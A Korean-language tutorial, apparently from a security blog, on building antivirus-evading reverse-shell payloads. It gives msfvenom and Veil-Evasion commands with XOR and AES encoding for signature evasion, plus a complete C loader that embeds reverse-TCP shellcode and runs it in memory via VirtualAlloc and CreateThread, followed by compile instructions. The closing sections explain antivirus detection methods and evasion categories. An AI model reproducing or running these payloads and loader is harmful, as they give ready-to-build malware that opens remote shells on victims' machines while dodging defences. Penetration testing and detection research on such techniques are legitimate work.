다양한 포맷의 페이로드 생성 및 인코딩
Metasploit Framework의 msfvenom 도구를 활용하면 다양한 포맷과 인코딩 방식을 적용한 페이로드를 생성할 수 있습니다. 아래는 Windows 환경과 Java 환경에 맞는 리버스 TCP 페이로드를 생성하는 예시입니다. 시그니처 탐지를 회피하기 위해 동적 XOR 인코딩을 적용했습니다.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.50 LPORT=4444 -e x64/xor_dynamic -f exe > custom_payload.exe
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.10.50 LPORT=4444 -f jar > applet_wrapper.jar
Veil-Framework와 패커(Packer)를 활용한 우회
Veil-Evasion은 페이로드를 변형하여 시그니처 기반 탐지를 우회하도록 돕는 프레임워크입니다. 설치 후 설정 파일에서 소프트웨어 저장소 주소를 변경하여 네트워크 오류를 방지할 수 있습니다. Wine, Python, Ruby 등 종속성을 설치할 때는 자동(silent) 설치 모드를 사용하는 것이 환경 구성에 유리합니다.
Veil 콘솔에서 C 언어 기반의 미터프리터 페이로드를 생성하는 과정은 다음과 같습니다.
veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 10.0.0.15
set LPORT 8080
set COMPILE_TO_EXE Y
generate
생성된 실행 파일에 UPX와 같은 패커를 적용하여 엔트로피를 변경할 수 있으나, 오히려 패킹된 파일 자체를 악성으로 간주하는 휴리스틱 탐지에 걸릴 확률이 높아질 수 있으므로 주의가 필요합니다.
C 언어와 쉘코드를 결합한 커스텀 실행 파일 제작
기존의 자동화 도구 대신 C 언어를 직접 사용하여 쉘코드를 메모리에 할당하고 실행하는 로더(Loader)를 작성하면 탐지율을 크게 낮출 수 있습니다. 단순 함수 포인터 캐스팅 대신 VirtualAlloc과 CreateThread API를 활용하는 것이 더 안정적이며 탐지 우회에 유리합니다.
#include <windows.h>
unsigned char sc_data[] = {
0xfc, 0xe8, 0x8f, 0x00, 0x00, 0x00, 0x60, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b,
0x52, 0x0c, 0x8b, 0x52, 0x14, 0x89, 0xe5, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x8b,
0x72, 0x28, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d,
0x01, 0xc7, 0x49, 0x75, 0xef, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01,
0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4c, 0x01, 0xd0, 0x8b, 0x48, 0x18, 0x8b,
0x58, 0x20, 0x01, 0xd3, 0x50, 0x85, 0xc9, 0x74, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x31,
0xff, 0x01, 0xd6, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75,
0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe0, 0x58, 0x8b, 0x58, 0x24, 0x01,
0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01,
0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58,
0x5f, 0x5a, 0x8b, 0x12, 0xe9, 0x80, 0xff, 0xff, 0xff, 0x5d, 0x68, 0x33, 0x32, 0x00,
0x00, 0x68, 0x77, 0x73, 0x32, 0x5f, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0x89, 0xe8,
0xff, 0xd0, 0xb8, 0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68, 0x29, 0x80,
0x6b, 0x00, 0xff, 0xd5, 0x6a, 0x0a, 0x68, 0xc0, 0xa8, 0x1f, 0xd8, 0x68, 0x02, 0x00,
0x08, 0xa9, 0x89, 0xe6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40, 0x50, 0x68, 0xea,
0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x97, 0x6a, 0x10, 0x56, 0x57, 0x68, 0x99, 0xa5, 0x74,
0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0a, 0xff, 0x4e, 0x08, 0x75, 0xec, 0xe8, 0x67,
0x00, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f,
0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7e, 0x36, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10,
0x00, 0x00, 0x56, 0x6a, 0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53,
0x6a, 0x00, 0x56, 0x53, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83, 0xf8,
0x00, 0x7d, 0x28, 0x58, 0x68, 0x00, 0x40, 0x00, 0x00, 0x6a, 0x00, 0x50, 0x68, 0x0b,
0x2f, 0x0f, 0x30, 0xff, 0xd5, 0x57, 0x68, 0x75, 0x6e, 0x4d, 0x61, 0xff, 0xd5, 0x5e,
0x5e, 0xff, 0x0c, 0x24, 0x0f, 0x85, 0x70, 0xff, 0xff, 0xff, 0xe9, 0x9b, 0xff, 0xff,
0xff, 0x01, 0xc3, 0x29, 0xc6, 0x75, 0xc1, 0xc3, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x6a,
0x00, 0x53, 0xff, 0xd5
};
int main() {
void *exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
exec_mem = VirtualAlloc(0, sizeof(sc_data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec_mem, sc_data, sizeof(sc_data));
rv = VirtualProtect(exec_mem, sizeof(sc_data), PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
위 코드는 MinGW 컴파일러를 사용하여 크로스 컴파일할 수 있습니다.
i686-w64-mingw32-gcc custom_loader.c -o custom_loader.exe -mwindows
다중 기법 조합을 통한 고급 탐지 우회
단일 우회 기법보다는 스크립트 언어와 암호화를 결합하는 것이 효과적입니다. Veil을 사용하여 Python 기반의 쉘코드 인젝션 모듈에 AES 암호화를 적용하면 정적 분석을 어렵게 만들 수 있습니다.
veil
use evasion
use python/shellcode_inject/aes_encrypt.py
set LHOST 10.0.0.15
set LPORT 8080
generate
안티바이러스(AV) 탐지 메커니즘 분석
악성코드 탐지 기술은 다음과 같은 다층적 메커니즘으로 구성됩니다.
- 시그니처 기반 탐지 (Signature-based Detection): 알려진 악성코드의 해시 또는 특정 바이트 패턴을 데이터베이스화하여 매칭하는 전통적인 방식입니다.
- 휴리스틱 분석 (Heuristic Analysis): 코드 구조나 의심스러운 API 호출 패턴을 분석하여 알려지지 않은 변종 악성코드를 탐지합니다.
- 샌드박싱 (Sandboxing): 격리된 가상 환경에서 파일을 실행하여 실제 악성 행위(파일 수정, 레지스트리 변경 등)를 동적으로 관찰합니다.
- 클라우드 기반 탐지 (Cloud-based Detection): 로컬 리소스의 한계를 극복하기 위해 파일의 메타데이터를 클라우드 서버로 전송하여 대규모 위협 인텔리전스와 대조합니다.
- 행동 모니터링 및 AI (Behavior Monitoring & AI): 프로세스의 런타임 행동과 시스템 콜을 머신러닝 모델로 분석하여 이상 징후를 포착합니다.
주요 탐지 우회(Evasion) 기법
공격자는 이러한 탐지 메커니즘을 무력화하기 위해 다양한 기법을 사용합니다.
- 코드 난독화 (Code Obfuscation): 제어 흐름 평탄화(Control Flow Flattening)나 의미 없는 명령어 삽입(Junk Code)을 통해 정적 분석을 방해합니다.
- 패킹 및 암호화 (Packing and Encryption): 실행 파일의 원본 코드를 압축하거나 암호화하여 디스크 상에서의 시그니처 노출을 방지합니다.
- 다형성 및 변이 (Polymorphism & Metamorphism): 실행될 때마다 코드 구조나 복호화 루틴을 자동으로 변경하여 시그니처 매칭을 회피합니다.
- 메모리 내 실행 (Fileless Execution): 디스크에 파일을 저장하지 않고 메모리(RAM) 상에서만 쉘코드를 실행하여 파일 기반 스캔을 우회합니다.
- 안티 디버깅 및 안티 샌드박스 (Anti-Debugging & Anti-Sandbox): 디버거 존재 여부나 가상 머신 환경(특정 MAC 주소, CPU 코어 수)을 체크하여 분석 환경에서는 악성 행위를 중단합니다.
안티바이러스 솔루션의 한계
안티바이러스는 필수적인 보안 계층이지만 완벽한 방어를 보장하지는 않습니다. 특히 다음과 같은 상황에서는 탐지가 실패할 수 있습니다.
- 제로데이 취약점 (Zero-day Exploits): 보안 패치가 이루어지기 전의 알려지지 않은 취약점을 이용한 공격은 시그니처나 행동 기반 탐지를 쉽게 우회합니다.
- APT (Advanced Persistent Threat): 장기간에 걸쳐 표적화된 네트워크에 잠입하는 공격은 합법적인 관리 도구(Living off the Land)를 악용하기 때문에 악성으로 분류되기 어렵습니다.
- 오프라인 환경 및 업데이트 지연: 클라우드 기반 분석이나 최신 시그니처 업데이트가 이루어지지 않는 환경에서는 신종 위협에 대응할 수 없습니다.